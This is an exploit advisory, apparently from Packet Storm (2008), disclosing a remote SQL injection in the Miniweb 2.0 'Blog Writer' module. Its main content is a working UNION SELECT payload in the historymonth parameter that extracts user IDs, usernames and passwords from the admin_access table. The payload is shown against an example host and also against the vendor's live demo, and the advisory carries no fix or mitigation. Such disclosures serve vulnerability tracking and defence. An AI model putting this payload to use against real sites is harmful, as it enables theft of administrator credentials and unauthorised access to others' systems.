miniweb-sql.txt

2008-05-06T00:00:00
ID PACKETSTORM:66021
Type packetstorm
Reporter HaCkeR_EgY
Modified 2008-05-06T00:00:00

Description

                                        
                                            `############################################  
# Rem0te SQL Injection Vulnerability #  
# Miniweb 2.0 [ index.php ] #  
############################################  
  
[<>]Author: HaCkeR-EgY  
  
[<>]H^0mE: www.pal-hacker.com , atsdp.com  
  
[<>]CONTact: hacker_EGY@hotmail.com   
===========================================================  
[<>]Script : Miniweb " Blog Writer "  
[<>]version : 2.0  
[<>]Module Price: Only $39.00  
[<>]Portal Price : $ 117  
[<>]DOWNL0AD Trial : www.miniweb2.com  
============================================================  
  
[<>] D0RK : hmmm........ user YOUR Mind (:  
  
[<>] ExPLO!t :  
  
===>http://example.com/miniweb2/index.php?module=blogwriter&historyyear=2007&historymonth=-1/**/union/**/select/**/1,2,concat_ws(0x3a3a,user_id,username,password),4,5,6,7,8,9,10/**/from/**/admin_access/*  
  
[<>] live D!mO :  
  
===> http://miniweb2.com/moduledemo/blogwriter/index.php?historyyear=2008&historymonth=-1/**/union/**/select/**/1,2,concat_ws(0x3a3a,user_id,username,password),4,5,6,7,8,9,10/**/from/**/admin_access/*  
  
==============================================================  
[<>] Thanx : MY Brotha and MY Master " Abo Mohamed "  
  
[<>] Greetz : F!resell , Mohamed el Arab ,Mr.EXE , DaRk MaStEr ,H-T Team  
Gold_M , V4 Team , Jiki Team , RoMaNcYxHaCkEr  
===============================================================  
  
  
`